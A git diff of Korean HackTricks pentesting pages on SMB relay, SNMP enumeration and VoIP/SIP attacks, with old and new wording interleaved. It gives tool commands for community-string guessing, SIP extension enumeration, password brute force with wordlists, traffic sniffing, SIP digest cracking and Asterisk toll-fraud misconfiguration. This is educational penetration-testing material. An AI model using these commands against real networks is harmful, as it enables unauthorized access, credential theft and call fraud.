이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **릴레이**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **셸**로 진입하게 됩니다.\
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **중계**합니다. 인증 **세션이 성공하면**, 자동으로 **시스템** **셸**로 진입하게 됩니다.\
[**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
@ -452,7 +452,7 @@ Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐
## NTLM 도난
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](#smb-relay-attack)에 사용될 수 있습니다.
SMB Trapping과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](#smb-relay-attack)에 사용될 수 있습니다.
[참조: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

46
src/network-services-pentesting/pentesting-snmp/README.md
View File

@ -2,7 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**SNMP - Simple Network Management Protocol**는 네트워크의 다양한 장치(예: 라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다.
```
@ -10,12 +11,12 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
> [!NOTE]
> SNMP는 **traps**를 위해 포트 **162/UDP**도 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
> SNMP는 **traps**를 위해 포트 **162/UDP**도 사용합니다. 이는 **명시적으로 요청되지 않고 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
### MIB
SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 모든 쿼리 가능한 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보도 제공하는 **하나 이상의 `Object Identifier` (`OID`)**가 포함되어 있습니다.\
MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 값을 반환하는지 또는 어떤 데이터 유형이 사용되는지를 설명합니다.
제조업체 간 및 다양한 클라이언트-서버 조합에서 SNMP 접근이 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 모든 쿼리 가능한 **SNMP 객체**가 **표준화된** 트리 계층 구조로 나열된 **텍스트** 파일입니다. 여기에는 **필수 고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보도 제공하는 **하나 이상의 `Object Identifier` (`OID`)**가 포함되어 있습니다.\
MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반의 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 값을 반환하는지 또는 어떤 데이터 유형이 사용되는지를 설명합니다.
### OIDs
@ -23,29 +24,29 @@ MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트
MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준 내에서 글로벌 관리 관행 및 표준을 위한 프레임워크가 설정됩니다.
또한, 공급업체는 개인 브랜치를 설정할 수 있는 자유를 부여받습니다. 이러한 브랜치 내에서 그들은 **자신의 제품 라인과 관련된 관리 객체를 포함할 수 있는 자율성을 가집니다**. 이 시스템은 다양한 공급업체 및 표준 간에 광범위한 객체를 식별하고 관리하기 위한 구조적이고 조직적인 방법을 보장합니다.
또한, 공급업체는 개인 브랜치를 설정할 수 있는 자유를 부여받습니다. 이러한 브랜치 내에서 그들은 **자신의 제품 라인과 관련된 관리 객체를 포함할 자율성을 가집니다**. 이 시스템은 다양한 공급업체와 표준 간에 광범위한 객체를 식별하고 관리하기 위한 구조적이고 조직적인 방법을 보장합니다.
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)로 접근하세요.\
일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 것들은 MIB-2에서 정의된 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 **이 OID에서 파생된 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하여 확인하세요.\
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내부의 **잘 알려진 OIDs**가 있으며, 이는 MIB-2에서 정의한 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 이로부터 **대기 중인 OIDs**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
### **OID 예시**
[**여기에서의 예시**](https://www.netadmintools.com/snmp-mib-and-oids/):
[**여기에서 예시**](https://www.netadmintools.com/snmp-mib-and-oids/):
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
이 주소의 세부 사항은 다음과 같습니다.
- 1 – 이것은 ISO라고 하며, 이것이 OID임을 나타냅니다. 모든 OID가 "1"로 시작하는 이유입니다.
- 1 – 이것은 ISO라고 하며, 이것이 OID임을 나타냅니다. 그래서 모든 OID는 "1"로 시작합니다.
- 3 – 이것은 ORG라고 하며, 장치를 제작한 조직을 지정하는 데 사용됩니다.
- 6 – 이것은 dod 또는 국방부로, 인터넷을 처음으로 설립한 조직입니다.
- 1 – 이것은 인터넷의 값을 나타내어 모든 통신이 인터넷을 통해 이루어질 것임을 나타냅니다.
- 4 – 이 값은 이 장치가 정부가 아닌 민간 조직에 의해 제작되었음을 나타냅니다.
- 1 – 이 값은 장치가 기업 또는 비즈니스 엔티티에 의해 제작되었음을 나타냅니다.
이 첫 여섯 값은 모든 장치에 대해 동일한 경향이 있으며, 그들에 대한 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하며, 정부에서 제작된 장치의 경우를 제외합니다.
이 첫 여섯 값은 모든 장치에 대해 동일하게 나타나며, 이들에 대한 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하며, 정부에서 제작된 장치의 경우를 제외합니다.
다음 숫자 세트로 넘어갑니다.
@ -53,7 +54,7 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
- 1 – 장치의 유형을 설명합니다. 이 경우, 알람 시계입니다.
- 2 – 이 장치가 원격 터미널 장치임을 나타냅니다.
나머지 값들은 장치에 대한 특정 정보를 제공합니다.
나머지 값들은 장치에 대한 구체적인 정보를 제공합니다.
- 5 – 이산 알람 포인트를 나타냅니다.
- 1 – 장치 내의 특정 포인트
@ -67,7 +68,7 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
SNMP에는 2개의 중요한 버전이 있습니다:
- **SNMPv1**: 주요 버전으로, 여전히 가장 빈번하게 사용되며, **인증은 문자열**(커뮤니티 문자열)에 기반하고 **일반 텍스트**로 전송됩니다(모든 정보가 일반 텍스트로 전송됨). **버전 2 및 2c**도 **일반 텍스트로 트래픽을 전송**하며 **커뮤니티 문자열을 인증**으로 사용합니다.
- **SNMPv1**: 주요 버전으로, 여전히 가장 빈번하게 사용되며, **인증은 문자열**(커뮤니티 문자열)을 기반으로 하며 **일반 텍스트**로 전송됩니다(모든 정보가 일반 텍스트로 전송됨). **버전 2 및 2c**도 **일반 텍스트로 트래픽을 전송**하며 **커뮤니티 문자열을 인증**으로 사용합니다.
- **SNMPv3**: 더 나은 **인증** 형태를 사용하며 정보는 **암호화**되어 전송됩니다( **사전 공격**이 수행될 수 있지만 SNMPv1 및 v2보다 올바른 자격 증명을 찾기가 훨씬 더 어려워집니다).
### 커뮤니티 문자열
@ -79,9 +80,9 @@ SNMP에는 2개의 중요한 버전이 있습니다:
- **`private`** **읽기/쓰기** 일반적으로
**OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, **"public"**이 사용되고 있더라도 **일부 값을 쓸 수 있을 수 있습니다.** 또한, **항상 "읽기 전용"인 객체가 존재할 수 있습니다.**\
객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\*
객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다.**
버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**.
버전 1 및 2/2c에서 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**.
## 포트
@ -95,7 +96,7 @@ SNMP에는 2개의 중요한 버전이 있습니다:
**커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 브루트 포스 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-hacking/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다.
## SNMP 열거
## SNMP 열거하기
장치에서 수집된 **각 OID의 의미**를 확인하기 위해 다음을 설치하는 것이 권장됩니다:
```bash
@ -104,7 +105,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
유효한 커뮤니티 문자열을 알고 있다면, **SNMPWalk** 또는 **SNMP-Check**를 사용하여 데이터에 접근할 수 있습니다:
유효한 커뮤니티 문자열을 알고 있다면, **SNMPWalk** 또는 **SNMP-Check**를 사용하여 데이터를 접근할 수 있습니다:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -139,7 +140,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
1. **`rwuser noauth`**는 인증 없이 OID 트리에 대한 전체 접근을 허용하도록 설정됩니다. 이 설정은 간단하며 제한 없는 접근을 허용합니다.
2. 보다 구체적인 제어를 위해 접근은 다음을 사용하여 부여될 수 있습니다:
- **`rwcommunity`**는 **IPv4** 주소에 대해, 및
- **`rwcommunity6`**는 **IPv6** 주소에 대해.
- **`rwcommunity6`**는 **IPv6** 주소에 대해 사용됩니다.
두 명령 모두 **커뮤니티 문자열**과 관련 IP 주소를 요구하며, 요청의 출처에 관계없이 전체 접근을 제공합니다.
@ -153,7 +154,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
- **저장 장치**: 저장 장치의 모니터링은 `1.3.6.1.2.1.25.2.3.1.4`에 의해 용이해집니다.
- **소프트웨어 이름**: 시스템에 설치된 소프트웨어를 식별하기 위해 `1.3.6.1.2.1.25.6.3.1.2`가 사용됩니다.
- **사용자 계정**: `1.3.6.1.4.1.77.1.2.25` 값은 사용자 계정을 추적할 수 있게 합니다.
- **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`는 TCP 로컬 포트를 모니터링하는 데 지정되어 있으며, 활성 네트워크 연결에 대한 통찰력을 제공합니다.
- **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`는 TCP 로컬 포트를 모니터링하는 데 지정되어 있으며, 활성 네트워크 연결에 대한 통찰을 제공합니다.
### Cisco
@ -165,7 +166,7 @@ cisco-snmp.md
## SNMP에서 RCE로
SNMP 서비스 내에서 **값을 쓰는** 것을 허용하는 **문자열**이 있다면, 이를 악용하여 **명령을 실행**할 수 있습니다:
SNMP 서비스 내에서 **값을 쓰는** 것을 허용하는 **문자열**이 있다면, 이를 악용하여 **명령을 실행**할 수 있을지도 모릅니다:
{{#ref}}
snmp-rce.md
@ -177,7 +178,7 @@ snmp-rce.md
Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다.
**구문:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
**구문:** braa \[커뮤니티 문자열]@\[\[SNMP 서버의 IP\]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -205,7 +206,7 @@ grep -i "login\|fail" *.snmp
```
### **이메일**
마지막으로, 데이터에서 **이메일 주소**를 추출하기 위해, 이메일 형식과 일치하는 패턴에 초점을 맞춘 **grep 명령**과 정규 표현식이 사용됩니다:
마지막으로, 데이터에서 **이메일 주소**를 추출하기 위해 **grep 명령어**와 정규 표현식을 사용하여 이메일 형식과 일치하는 패턴에 집중합니다:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
@ -215,7 +216,7 @@ _**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 이를
## 스푸핑
ACL이 SMNP 서비스에 쿼리할 수 있는 일부 IP만 허용하는 경우, UDP 패킷 내에서 이 주소 중 하나를 스푸핑하고 트래픽을 스니핑할 수 있습니다.
ACL이 SMNP 서비스에 쿼리할 수 있는 IP만 허용하는 경우, UDP 패킷 내에서 이 주소 중 하나를 스푸핑하고 트래픽을 스니핑할 수 있습니다.
## SNMP 구성 파일 검사
@ -223,7 +224,6 @@ ACL이 SMNP 서비스에 쿼리할 수 있는 일부 IP만 허용하는 경우,
- snmpd.conf
- snmp-config.xml
## HackTricks 자동 명령
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.

95
src/network-services-pentesting/pentesting-voip/README.md
View File

@ -2,9 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
## VoIP 기본 정보
VoIP가 어떻게 작동하는지 배우기 시작하려면 다음을 확인하세요:
VoIP 작동 방식에 대해 배우기 시작하려면 다음을 확인하세요:
{{#ref}}
basic-voip-protocols/
@ -46,7 +47,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
202 Accepted
204 No Notification
```
**3xx—리디렉션 응답**
**3xx—리다이렉션 응답**
```
300 Multiple Choices
301 Moved Permanently
@ -139,7 +140,7 @@ Red Team이 수행할 수 있는 첫 번째 단계 중 하나는 OSINT 도구, G
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
운영자가 VoIP 서비스를 제공하는지 아는 것은 회사가 VoIP를 사용하고 있는지 식별하는 데 도움이 됩니다... 게다가, 회사가 VoIP 서비스를 계약하지 않았지만 PSTN 카드를 사용하여 자체 VoIP PBX를 전통적인 전화 네트워크에 연결하고 있을 가능성도 있습니다.
운영자가 VoIP 서비스를 제공하는지 알면 회사가 VoIP를 사용하고 있는지 식별할 수 있습니다... 게다가, 회사가 VoIP 서비스를 계약하지 않았지만 PSTN 카드를 사용하여 자체 VoIP PBX를 전통적인 전화 네트워크에 연결하고 있을 가능성도 있습니다.
음악의 자동 응답과 같은 것들은 일반적으로 VoIP가 사용되고 있음을 나타냅니다.
@ -181,7 +182,7 @@ VoIP 소프트웨어를 식별하는 데 도움이 되는 다른 OSINT 열거는
### 네트워크 열거
- **`nmap`**는 UDP 서비스를 스캔할 수 있지만, 스캔되는 UDP 서비스의 수 때문에 매우 느리고 이러한 종류의 서비스에 대해 매우 정확하지 않을 수 있습니다.
- **`nmap`**은 UDP 서비스를 스캔할 수 있지만, 스캔되는 UDP 서비스의 수 때문에 매우 느리고 이러한 종류의 서비스에 대해 정확하지 않을 수 있습니다.
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
@ -191,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
- **`SIPPTS 스캔`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 스캔은 UDP, TCP 또는 TLS를 통한 SIP 서비스에 대한 매우 빠른 스캐너입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고, TCP와 UDP를 모두 스캔하며, 다른 방법을 사용할 수 있고(기본적으로 OPTIONS를 사용), 다른 User-Agent를 지정할 수 있습니다(기타 등등).
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 스캔은 UDP, TCP 또는 TLS를 통한 SIP 서비스에 대한 매우 빠른 스캐너입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고, TCP 및 UDP를 모두 스캔하며, 다른 방법을 사용할 수 있고(기본적으로 OPTIONS를 사용함), 다른 User-Agent를 지정할 수 있습니다(기타 등등).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -221,23 +222,23 @@ PBX는 다음과 같은 다른 네트워크 서비스를 노출할 수 있습니
### 방법 열거
`SIPPTS enumerate`를 사용하여 PBX에서 **사용 가능한 방법**을 찾는 것이 가능합니다 [**sippts**](https://github.com/Pepelux/sippts)
`SIPPTS enumerate`를 사용하여 PBX에서 **사용 가능한 방법**을 찾는 것이 가능합니다. [**sippts**](https://github.com/Pepelux/sippts)
```bash
sippts enumerate -i 10.10.0.10
```
### 서버 응답 분석
서버가 우리에게 보내는 헤더를 분석하는 것은 우리가 보내는 메시지와 헤더의 유형에 따라 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하면 모든 헤더를 조작하여 개인화된 메시지를 보내고 응답을 분석할 수 있습니다.
서버가 우리에게 보내는 헤더를 분석하는 것은 우리가 보내는 메시지와 헤더의 유형에 따라 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하면 모든 헤더를 조작하여 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
서버가 웹소켓을 사용하는 경우 데이터 수집도 가능합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS wssend`를 사용하여 개인화된 WS 메시지를 보낼 수 있습니다.
서버가 웹소켓을 사용하는 경우 데이터 수집이 가능합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS wssend`를 사용하여 개인화된 WS 메시지를 보낼 수 있습니다.
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Extension Enumeration
PBX(사설 교환기) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 **고유 내부 식별자**를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅**할 수 있게 하여, 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
PBX(사설 교환기) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 **고유한 내부 식별자**를 의미합니다. 확장은 각 사용자나 장치에 대한 개별 외부 전화번호 없이 **조직 내에서 전화를 효율적으로 라우팅**할 수 있게 해줍니다.
- **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측**하여 작동합니다.
```bash
@ -261,7 +262,7 @@ enumiax -v -m3 -M3 10.10.0.10
### 비밀번호 무차별 대입 - 온라인
**PBX**와 일부 **확장/사용자 이름**을 발견한 Red Team은 일반적인 비밀번호 사전을 사용하여 인증을 무차별 대입하기 위해 **`REGISTER` 방법**을 통해 확장에 인증을 시도할 수 있습니다.
**PBX**와 일부 **확장/사용자 이름**을 발견한 후, Red Team은 일반 비밀번호 사전을 사용하여 인증을 무차별 대입하기 위해 **`REGISTER` 방법**을 통해 확장에 인증을 시도할 수 있습니다.
> [!CAUTION]
> **사용자 이름**이 확장과 동일할 수 있지만, 이 관행은 PBX 시스템, 구성 및 조직의 선호도에 따라 다를 수 있습니다...
@ -283,21 +284,21 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
**Open Wifi 네트워크** 내에서 VoIP 장비를 발견하면 **모든 정보를 스니핑**할 수 있습니다. 또한, 더 폐쇄된 네트워크(이더넷 또는 보호된 Wifi에 연결된 경우) 내에서는 **PBX와 게이트웨이** 간에 **MitM 공격**을 수행하여 정보를 스니핑할 수 있습니다.
**Open Wifi 네트워크** 내에서 VoIP 장비를 발견하면 **모든 정보를 스니핑**할 수 있습니다. 또한, 더 폐쇄된 네트워크(이더넷 또는 보호된 Wifi에 연결된 경우) 내에서는 **PBX와 게이트웨이** 사이에서 **MitM 공격**인 [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)을 수행하여 정보를 스니핑할 수 있습니다.
네트워크 정보 중에는 장비를 관리하기 위한 **웹 자격 증명**, 사용자 **확장자**, **사용자 이름**, **IP** 주소, 심지어 **해시된 비밀번호**와 **RTP 패킷**이 포함되어 있어 **대화를 들을 수** 있습니다.
네트워크 정보 중에는 장비를 관리하기 위한 **웹 자격 증명**, 사용자 **내선**, **사용자 이름**, **IP** 주소, 심지어 **해시된 비밀번호**와 **RTP 패킷**이 포함되어 있어 **대화를 들을 수** 있습니다.
이 정보를 얻기 위해 Wireshark, tcpdump와 같은 도구를 사용할 수 있지만, **VoIP 대화를 스니핑하기 위해 특별히 제작된 도구는** [**ucsniff**](https://github.com/Seabreg/ucsniff)입니다.
이 정보를 얻기 위해 Wireshark, tcpdump와 같은 도구를 사용할 수 있지만, VoIP 대화를 스니핑하기 위해 **특별히 제작된 도구는** [**ucsniff**](https://github.com/Seabreg/ucsniff)입니다.
> [!CAUTION]
> **TLS가 SIP 통신에 사용되는 경우** SIP 통신을 명확하게 볼 수 없습니다.\
> **SIP 통신에 TLS가 사용되는 경우** SIP 통신을 명확하게 볼 수 없습니다.\
> **SRTP** 및 **ZRTP**가 사용되는 경우에도 **RTP 패킷은 평문으로 존재하지 않습니다**.
#### SIP credentials (Password Brute-Force - offline)
#### SIP 자격 증명 (비밀번호 브루트 포스 - 오프라인)
[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **자격 증명이 어떻게 전송되는지** 배우세요.
- **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
- **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트 포스**할 수 있습니다.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -317,7 +318,7 @@ sippts tshark -f capture.pcap [-filter auth]
#### DTMF 코드
**SIP 자격 증명**뿐만 아니라 네트워크 트래픽에서 **음성 메일**에 접근하는 데 사용되는 DTMF 코드를 찾는 것도 가능합니다.\
이러한 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송할 수 있습니다. RTP 패킷 내에 코드가 있는 경우, 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
이 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송할 수 있습니다. RTP 패킷 내에 코드가 있는 경우, 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
```bash
multimon -a DTMF -t wac pin.wav
```
@ -328,13 +329,13 @@ Asterisk에서는 **특정 IP 주소**에서의 연결을 허용하거나 **모
host=10.10.10.10
host=dynamic
```
IP 주소가 지정되면 호스트는 **REGISTER** 요청을 가끔씩 보낼 필요가 없습니다(REGISTER 패킷에는 일반적으로 30분인 TTL이 포함되어 있어 다른 시나리오에서는 전화가 30분마다 REGISTER를 해야 합니다). 그러나 VoIP 서버에서 전화를 받을 수 있도록 연결을 허용하는 열린 포트가 필요합니다.
IP 주소가 지정되면, 호스트는 **REGISTER** 요청을 가끔씩 보낼 필요가 없습니다 (REGISTER 패킷에는 일반적으로 30분의 생존 시간이 포함되어 있어, 다른 시나리오에서는 전화가 30분마다 REGISTER를 해야 합니다). 그러나 VoIP 서버에서 전화를 받을 수 있도록 연결을 허용하는 열린 포트가 필요합니다.
사용자를 정의할 때 다음과 같이 정의할 수 있습니다:
- **`type=user`**: 사용자는 사용자로서만 전화를 받을 수 있습니다.
- **`type=friend`**: 피어로 전화를 걸고 사용자로서 받을 수 있습니다(확장과 함께 사용됨).
- **`type=peer`**: 피어로 전화를 보내고 받을 수 있습니다(SIP-trunks).
- **`type=user`**: 사용자는 전화만 받을 수 있습니다.
- **`type=friend`**: 피어로 전화를 걸고 사용자로서 받을 수 있습니다 (확장과 함께 사용됨)
- **`type=peer`**: 피어로 전화를 보내고 받을 수 있습니다 (SIP-trunks)
신뢰를 설정하는 것도 가능합니다:
@ -350,11 +351,11 @@ IP 주소가 지정되면 호스트는 **REGISTER** 요청을 가끔씩 보낼
> `insecure=port,invite`\
> `type=friend`
### 무료 통화 / Asterisk 컨텍스트 잘못 구성
### 무료 통화 / Asterisks 컨텍스트 잘못 구성
Asterisk에서 **컨텍스트**는 다이얼 플랜에서 **관련된 확장, 작업 및 규칙을 그룹화하는 이름이 있는 컨테이너 또는 섹션**입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, **수신 및 발신 전화를 처리하고 라우팅하는 방법을 정의합니다**. 컨텍스트는 다이얼 플랜을 구성하고, 접근 제어를 관리하며, 시스템의 서로 다른 부분 간의 분리를 제공합니다.
Asterisk에서 **컨텍스트**는 다이얼 플랜에서 **관련된 확장, 동작 및 규칙을 그룹화하는 이름이 있는 컨테이너 또는 섹션**입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, **수신 및 발신 전화를 처리하고 라우팅하는 방법을 정의합니다**. 컨텍스트는 다이얼 플랜을 구성하고, 접근 제어를 관리하며, 시스템의 서로 다른 부분 간의 분리를 제공합니다.
각 컨텍스트는 구성 파일, 일반적으로 **`extensions.conf`** 파일에 정의됩니다. 컨텍스트는 대괄호로 표시되며, 그 안에 컨텍스트 이름이 포함됩니다. 예:
각 컨텍스트는 구성 파일, 일반적으로 **`extensions.conf`** 파일에 정의됩니다. 컨텍스트는 대괄호로 표시되며, 그 안에 컨텍스트 이름이 포함됩니다. 예를 들어:
```bash
csharpCopy code[my_context]
```
@ -365,9 +366,9 @@ exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
이 예제는 "my_context"라는 간단한 컨텍스트와 "100"이라는 확장을 보여줍니다. 누군가 100번으로 전화를 걸면, 통화가 연결되고 환영 메시지가 재생된 후 통화가 종료됩니다.
이 예제는 "my_context"라는 간단한 컨텍스트와 "100"이라는 확장을 보여줍니다. 누군가 100번으로 전화를 걸면, 통화가 연결되고, 환영 메시지가 재생된 후 통화가 종료됩니다.
이것은 **다른 컨텍스트**로, **다른 번호로 전화를 걸 수** 있습니다:
이것은 **다른 컨텍스트**로, **다른 번호로 전화를 걸 수 있게** 합니다:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
@ -379,12 +380,12 @@ include => my_context
include => external
```
> [!WARNING]
> 누구나 **서버를 사용하여 다른 번호로 전화를 걸 수 있습니다** (서버의 관리자가 전화를 비용을 지불하게 됩니다).
> 누구나 **서버를 사용하여 다른 번호로 전화를 걸 수 있습니다** (서버의 관리자가 통화 요금을 지불하게 됩니다).
> [!CAUTION]
